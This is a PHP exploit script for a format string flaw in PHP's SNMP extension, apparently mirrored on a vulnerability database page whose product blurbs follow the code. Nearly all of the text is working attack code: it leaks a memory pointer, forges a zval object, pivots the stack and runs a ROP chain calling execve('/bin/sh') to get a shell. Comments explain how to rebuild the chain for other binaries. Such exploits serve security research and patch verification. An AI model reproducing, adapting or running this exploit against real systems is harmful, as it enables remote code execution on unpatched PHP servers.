<?php
// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
// By Andrew Kramer <andrew at jmpesp dot org>
// Should bypass ASLR/NX just fine
// This exploit utilizes PHP's internal "%Z" (zval)
// format specifier in order to achieve code-execution.
// We fake an object-type zval in memory and then bounce
// through it carefully. First though, we use the same
// bug to leak a pointer to the string itself. We can
// then edit the global variable with correct pointers
// before hitting it a second time to get EIP. This
// makes it super reliable! Like... 100%.
// To my knowledge this hasn't really been done before, but
// credit to Stefan Esser (@i0n1c) for the original idea. It works!
// https://twitter.com/i0n1c/status/664706994478161920
// All the ROP gadgets are from a binary I compiled myself.
// If you want to use this yourself, you'll probably need
// to build a new ROP chain and find new stack pivots for
// whatever binary you're targeting. If you just want to get
// EIP, change $stack_pivot_1 to 0x41414141 below.
// pass-by-reference here so we keep things tidy
function trigger(&$format_string) {
$session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
// you MUST set exceptions_enabled in order to trigger this
$session->exceptions_enabled = SNMP::ERRNO_ANY;
try {
$session->get($format_string);
} catch (SNMPException $e) {
return $e->getMessage();
}
}
// overwrite either $payload_{1,2} with $str at $offset
function overwrite($which, $str, $offset) {
// these need to be global so PHP doesn't just copy them
global $payload_1, $payload_2;
// we MUST copy byte-by-byte so PHP doesn't realloc
for($c=0; $c<strlen($str); $c++) {
switch($which) {
case 1:
$payload_1[$offset + $c] = $str[$c];
break;
case 2:
$payload_2[$offset + $c] = $str[$c];
break;
}
}
}
echo "> Setting up payloads\n";
//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
$stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx
$stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14
// this is used at first to leak the pointer to $payload_1
$leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
$trampoline_offset = strlen($leak_str);
// used to leak a pointer and also to store ROP chain
$payload_1 =
$leak_str . // leak a pointer
"XXXX" . // will be overwritten later
$stack_pivot_1 . // initial EIP (rop start)
// ROP: execve('/bin/sh',0,0)
pack("L", 0x080f0bb7) . // xor ecx, ecx; mov eax, ecx
pack("L", 0x0814491f) . // xchg edx, eax
pack("L", 0x0806266d) . // pop ebx
pack("L", 0x084891fd) . // pointer to /bin/sh
pack("L", 0x0807114c) . // pop eax
pack("L", 0xfffffff5) . // -11
pack("L", 0x081818de) . // neg eax
pack("L", 0x081b5faa); // int 0x80
// used to trigger the exploit once we've patched everything
$payload_2 =
"XXXX" . // will be overwritten later
"XXXX" . // just padding, whatevs
"\x08X" . // zval type OBJECT
str_repeat("%d", 13) . "%Z"; // trigger the exploit
// leak a pointer
echo "> Attempting to leak a pointer\n";
$data = trigger($payload_1);
$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";
// If there are any null bytes or percent signs in the pointer, it will break
// the -0x10 will be applied later, so do it now too
if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false
|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
echo "> That pointer has a bad character in it\n";
echo "> This won't work. Bailing out... :(\n";
exit(0);
}
echo "> Overwriting payload with calculated offsets\n";
// prepare the trampoline
// code looks kinda like...
// mov eax, [eax+0x10]
// mov eax, [eax+0x54]
// call eax
overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);
overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
// exploit
echo "> Attempting to pop a shell\n";
trigger($payload_2);
// if we make it here, something didn't work
echo "> Exploit failed :(\n";Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation